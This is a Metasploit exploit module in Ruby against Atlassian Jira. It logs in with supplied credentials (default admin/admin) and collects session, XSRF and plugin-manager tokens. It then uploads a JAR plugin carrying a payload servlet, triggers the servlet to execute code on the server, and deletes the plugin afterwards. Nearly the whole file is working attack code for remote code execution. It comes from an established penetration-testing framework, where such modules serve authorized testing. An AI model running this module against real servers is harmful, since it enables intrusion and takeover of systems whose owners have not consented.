##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Atlassian Jira Authenticated Upload Code Execution',
      'Description' => %q{
        This module can be used to execute a payload on Atlassian Jira via
        the Universal Plugin Manager(UPM). The module requires valid login
        credentials to an account that has access to the plugin manager.
        The payload is uploaded as a JAR archive containing a servlet using
        a POST request against the UPM component. The check command will
        test the validity of user supplied credentials and test for access
        to the plugin manager.
      },
      'Author'      => 'Alexander Gonzalez(dubfr33)',
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],
          ['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']
        ],
      'Platform'    => %w[java],
      'Targets'     =>
        [
          ['Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java'
            }
          ]
        ],
      'DisclosureDate' => '2018-02-22'))

    register_options(
      [
        Opt::RPORT(2990),
        OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),
        OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),
        OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])
      ])
  end

  def check
    login_res = query_login
    if login_res.nil?
      vprint_error('Unable to access the web application!')
      return CheckCode::Unknown
    end
    return CheckCode::Unknown unless login_res.code == 200
    @session_id = get_sid(login_res)
    @xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')
    return CheckCode::Unknown if @xsrf_token.nil? || @xsrf_token['content'].nil?
    @xsrf_token = @xsrf_token['content']

    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_upm(good_cookie)
    if res.nil?
      vprint_error('Unable to access the web application!')
      return CheckCode::Unknown
    elsif res.code == 200
      return Exploit::CheckCode::Appears
    else
      vprint_status('Something went wrong, make sure host is up and options are correct!')
      vprint_status("HTTP Response Code: #{res.code}")
      return Exploit::CheckCode::Unknown
    end
  end

  def exploit
    unless access_login?
      fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    print_status('Retrieving Session ID and XSRF token...')
    auth_res = do_auth
    good_sid = get_sid(auth_res)
    good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"
    res = query_for_upm_token(good_cookie)
    if res.nil?
      fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')
    end
    upm_token = res.headers['upm-token']
    upload_exec(upm_token, good_cookie)
  end

  # Upload, execute, and remove servlet
  def upload_exec(upm_token, good_cookie)
    contents = ''
    name = Rex::Text.rand_text_alpha(8..12)

    atlassian_plugin_xml = %Q{
    <atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">
    <plugin-info>
        <description></description>
        <version>1.0</version>
        <vendor name="" url="" />

        <param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>
        <param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>

    </plugin-info>

    <servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">
        <description>"#{name}"</description>
        <url-pattern>/metasploit/PayloadServlet</url-pattern>
    </servlet>

    </atlassian-plugin>
    }

    # Generates .jar file for upload
    zip = payload.encoded_jar
    zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

    servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')
    zip.add_file('/metasploit/PayloadServlet.class', servlet)

    contents = zip.pack

    boundary = rand_text_numeric(27)

    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "
    data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}--"

    print_status("Attempting to upload #{name}")
    res = send_request_cgi({
      'uri'            => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),
      'vars_get'       =>
        {
          'token'      => "#{upm_token}"
        },
      'method'         => 'POST',
      'data'           => data,
      'headers'        =>
        {
          'Content-Type' => 'multipart/form-data; boundary=' + boundary,
          'Cookie'       => good_cookie.to_s
        }
    }, 25)

    unless res && res.code == 202
      print_status("Error uploading #{name}")
      print_status("HTTP Response Code: #{res.code}")
      print_status("Server Response: #{res.body}")
      return
    end

    print_status("Successfully uploaded #{name}")
    print_status("Executing #{name}")
    Rex::ThreadSafe.sleep(3)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })

    print_status("Deleting #{name}")
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),
      'method'       => 'DELETE',
      'cookie'       => good_cookie.to_s
    })
  end

  def access_login?
    res = query_login
    if res.nil?
      fail_with(Failure::Unknown, 'Unable to access the web application!')
    end
    return false unless res && res.code == 200
    @session_id = get_sid(res)
    @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')
    return false if @xsrf_token.nil? || @xsrf_token['content'].nil?

    @xsrf_token = @xsrf_token['content']
    return true
  end

  # Sends GET request to login page so the HTTP response can be used
  def query_login
    send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))
  end

  # Queries plugin manager to verify access
  def query_upm(good_cookie)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })
  end

  # Queries API for response containing upm_token
  def query_for_upm_token(good_cookie)
    send_request_cgi({
      'uri'          => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),
      'method'       => 'GET',
      'cookie'       => good_cookie.to_s
    })
  end

  # Authenticates to webapp with user supplied credentials
  def do_auth
    send_request_cgi({
      'uri'              => normalize_uri(target_uri.path.to_s, 'login.jsp'),
      'method'           => 'POST',
      'cookie'           => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",
      'vars_post'        => {
        'os_username'    => datastore['HttpUsername'],
        'os_password'    => datastore['HttpPassword'],
        'os_destination' => '',
        'user_role'      => '',
        'atl_token'      => '',
        'login'          => 'Log+In'
      }
    })
  end

  # Finds SID from HTTP response headers
  def get_sid(res)
    if res.nil?
      return '' if res.blank?
    end
    res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
  end
end
